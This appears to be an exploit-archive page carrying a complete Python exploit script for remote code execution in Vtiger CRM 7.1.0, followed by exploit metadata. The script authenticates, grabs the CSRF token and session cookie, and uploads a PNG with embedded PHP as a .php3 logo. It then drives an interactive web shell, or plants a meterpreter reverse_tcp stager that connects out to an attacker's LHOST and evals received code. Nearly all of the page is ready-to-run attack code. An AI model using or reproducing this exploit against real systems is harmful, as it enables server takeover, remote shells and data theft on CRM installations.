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"Vtiger CRM 7.1.0 - Remote Code Execution"

Author

AkkuS

Platform

php

Release date

2019-01-02

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# Exploit Title: Vtiger CRM 7.1.0 - Remote Code Execution
# Date: 2018-12-27
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Contact: https://pentest.com.tr
# Vendor Homepage: https://www.vtiger.com
# Software Link: https://sourceforge.net/projects/vtigercrm/files/latest/download
# Version: v7.1.0
# Category: Webapps
# Tested on: XAMPP for Linux 5.6.38-0
# Software Description : Vtiger CRM enables sales, support, and marketing teams to
# organize and collaborate to measurably improve customer experiences and business outcomes.

# Description : This application has the vulnerability of uploading files with the extension "php3" in the logo upload field.
# But the uploaded file must be in PNG format and size 150X40.
# We can put PHP code into image source. After you make the extension "php3", the PHP code that we've placed can work.
# Therefore, PHP code can be executed using "<? ?>" Tags in PNG format file.
# ==================================================================
# I have exploited in 2 different ways.
# First one uploads a basic php shell for you and lets you control it through the console.
# Second one uploads the php meterpreter payload to the target site and lets you set this payload.

# PoC:

#!/usr/bin/python
 
import mechanize, sys, cookielib, requests
import colorama, urllib, re, random
from colorama import Fore

def bannerche():
    print '''
 @-------------------------------------------------------------@
 |       Vtiger CRM 7.1.0 - Remote Code Execution Exploit      |
 |              Vulnerability discovered by AkkuS              |
 |               My Blog - https://pentest.com.tr              |
 @-------------------------------------------------------------@
          '''
bannerche()
 
if (len(sys.argv) != 2):
    print "[*] Usage: poc.py <RHOST>"
    exit(0)
 
rhost = sys.argv[1]
UserName = str(raw_input("User Name: ")) # Administrator Username Input
Password = str(raw_input("Password: "))  # Administrator Password Input
 
print(Fore.BLUE + "+ [*] Loging in...")
br = mechanize.Browser()                 # set cookies
br.set_handle_robots(False)
cj = cookielib.LWPCookieJar()
br.set_cookiejar(cj)
 
br.open("http://"+rhost+"/")             # User Access Login
assert br.viewing_html()
br.select_form(nr=0)
br.form['username'] = UserName
br.form['password'] = Password
br.submit()
 
title = br.title()
if title == "Dashboard":                 # Access control
   print (Fore.YELLOW + "+ [*] You're in "+title+" section of the app now")
   print (Fore.GREEN + "+ [*] Login successful")
else:
   print (Fore.RED + "+ [*] User information is incorrect.")
   sys.exit()
##
# Introducing Cookie and CSRF token information
##
check = requests.get("http://"+rhost+"/index.php?module=Vtiger&parent=Settings&view=CompanyDetails&block=8&fieldid=14", cookies=cj)

doc = check.text

finder = re.findall(r'csrfMagicToken = ".*";', doc)
csrf = finder[0].replace('csrfMagicToken = ', '').replace('"','').replace(';var csrfMagicName = __vtrftk;','').strip()
csrf_to_data = str(csrf)
print(Fore.YELLOW + "+ [*] Token = " + csrf_to_data)

x = br._ua_handlers['_cookies'].cookiejar
c = str(x)

sonuc = re.findall(r"([a-fA-F\d]{32})", c)
g = sonuc[0]
v = str(g)
print (Fore.YELLOW + "+ [*] PHPSESSID = " + v)
##
# Random value fetching
##

boundary = ''.join(str(random.randint(0,9)) for _ in xrange(29))
filename = ''.join(random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(10)) + ".php3"

##
# EXPLOIT
##
post_cookie = {"PHPSESSID": v}
post_headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                 "Accept-Language": "en-US,en;q=0.5",
                 "Connection": "close",
                 "Content-Type": "multipart/form-data; boundary=---------------------------"+boundary+""}
Basic_data = "-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"__vtrftk\"\r\n\r\n"+csrf_to_data+"\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"module\"\r\n\r\nVtiger\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"parent\"\r\n\r\nSettings\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nCompanyDetailsSave\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"logo\"; filename=\""+filename+"\"\r\nContent-Type: image/png\r\n\r\n\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00 \x00\x00\x00 \x08\x02\x00\x00\x00\xfc\x18\xed\xa3\x00\x00\x00\tpHYs\x00\x00\x0e\xc4\x00\x00\x0e\xc4\x01\x95+\x0e\x1b\x00\x00\x00`IDATH\x89c\\<?if(isset($_REQUEST['cmd'])){ echo \"<pre>\"; $cmd = ($_REQUEST['cmd']); system($cmd); echo \"</pre>\"; die; }?>X\x80\x81\x81\xc1s^7\x93\xfc\x8f\x8b\xdb~_\xd3}\xaa'\xf7\xf1\xe3\xc9\xbf_\xef\x06|\xb200c\xd9\xb9g\xfd\xd9=\x1b\xce2\x8c\x82Q0\nF\xc1(\x18\x05\xa3`\x14\x8c\x82Q0\n\x86\r\x00\x00\x81\xb2\x1b\x02\x07x\r\x0c\x00\x00\x00\x00IEND\xaeB`\x82\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"organizationname\"\r\n\r\nvtiger\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"address\"\r\n\r\n95, 12th Main Road, 3rd Block, Rajajinagar\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"city\"\r\n\r\nBangalore\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"state\"\r\n\r\nKarnataka\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"code\"\r\n\r\n560010\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"country\"\r\n\r\nIndia\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"phone\"\r\n\r\n+91 9243602352\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"fax\"\r\n\r\n+91 9243602352\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"website\"\r\n\r\nwww.vtiger.com\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"vatid\"\r\n\r\n\r\n-----------------------------"+boundary+"--\r\n"

print (Fore.BLUE + "+ [*] Select shell type:")
print (Fore.YELLOW +"- [*] 1 - Basic Shell")
print ("- [*] 2 - Meterpreter Shell")
choose = int(raw_input("- [*] Enter a number (1 or 2) : "))

if choose == 1:
    Basic = requests.post("http://"+rhost+"/index.php", headers=post_headers, cookies=post_cookie, data=Basic_data)
    if Basic.status_code == 200:
       print (Fore.GREEN + "+ [*] Shell successfully uploaded!")
       print (Fore.GREEN + "+ [*] Shell Directory = http://"+rhost+"/test/logo/"+filename+"?cmd=[Command Here]")
    while True:
          shellctrl = requests.get("http://"+rhost+"/test/logo/"+filename+"")
          if shellctrl.status_code == 200:
             Command = str(raw_input(Fore.WHITE + "shell> "))
             URL = requests.get("http://"+rhost+"/test/logo/"+filename+"?cmd="+Command+"")
             print URL.text
          else:
             print (Fore.RED + "+ [X] Unable to upload or access the shell")
             sys.exit()  

elif choose == 2:
    print("+ [*] In this option, you must listen to LHOST and LPORT with your Metasploit.")
    print(Fore.RED + "+ [*] You should use the "+Fore.WHITE +"php/meterpreter/reverse_tcp"+Fore.RED +" payload")
    print(Fore.YELLOW + "+ [*] Enter metasploit handler settings.")

    lhost = str(raw_input(Fore.WHITE + "LHOST : "))
    lport = str(raw_input(Fore.WHITE + "LPORT : "))
   
    Meter_data = "-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"__vtrftk\"\r\n\r\n"+csrf_to_data+"\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"module\"\r\n\r\nVtiger\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"parent\"\r\n\r\nSettings\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nCompanyDetailsSave\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"logo\"; filename=\""+filename+"\"\r\nContent-Type: image/png\r\n\r\n\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00 \x00\x00\x00 \x08\x02\x00\x00\x00\xfc\x18\xed\xa3\x00\x00\x00\tpHYs\x00\x00\x0e\xc4\x00\x00\x0e\xc4\x01\x95+\x0e\x1b\x00\x00\x00`IDATH\x89c\\<?=error_reporting(0); $ip = '"+lhost+"'; $port = "+lport+"; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f(\"tcp://{$ip}:{$port}\"); $s_type = 'stream'; } elseif (($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } elseif (($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } else { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack(\"Nlen\", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; eval($b); die();?>X\x80\x81\x81\xc1s^7\x93\xfc\x8f\x8b\xdb~_\xd3}\xaa'\xf7\xf1\xe3\xc9\xbf_\xef\x06|\xb200c\xd9\xb9g\xfd\xd9=\x1b\xce2\x8c\x82Q0\nF\xc1(\x18\x05\xa3`\x14\x8c\x82Q0\n\x86\r\x00\x00\x81\xb2\x1b\x02\x07x\r\x0c\x00\x00\x00\x00IEND\xaeB`\x82\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"organizationname\"\r\n\r\nvtiger\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"address\"\r\n\r\n95, 12th Main Road, 3rd Block, Rajajinagar\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"city\"\r\n\r\nBangalore\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"state\"\r\n\r\nKarnataka\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"code\"\r\n\r\n560010\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"country\"\r\n\r\nIndia\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"phone\"\r\n\r\n+91 9243602352\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"fax\"\r\n\r\n+91 9243602352\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"website\"\r\n\r\nwww.vtiger.com\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"vatid\"\r\n\r\n\r\n-----------------------------"+boundary+"--\r\n"
   
    Basic = requests.post("http://"+rhost+"/index.php", headers=post_headers, cookies=post_cookie, data=Meter_data)
    while True:
          payload = requests.get("http://"+rhost+"/test/logo/"+filename+"")
          print("+ [*] Check your Metasploit Framework console")
          if payload.status_code == 200:    
             print (Fore.GREEN + "+ [*] Payload uploaded and executed!")
           
          else:
             print (Fore.RED + "+ [X] Unable to upload and run the payload")
          sys.exit()
else:
    print("Invalid input!")
# end


vtiger0.png
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import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46065/?format=json')
                        {"url": "https://www.nmmapper.com/api/exploitdetails/46065/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46065/40559/vtiger-crm-710-remote-code-execution/download/", "exploit_id": "46065", "exploit_description": "\"Vtiger CRM 7.1.0 - Remote Code Execution\"", "exploit_date": "2019-01-02", "exploit_author": "AkkuS", "exploit_type": "webapps", "exploit_platform": "php", "exploit_port": null}
                    

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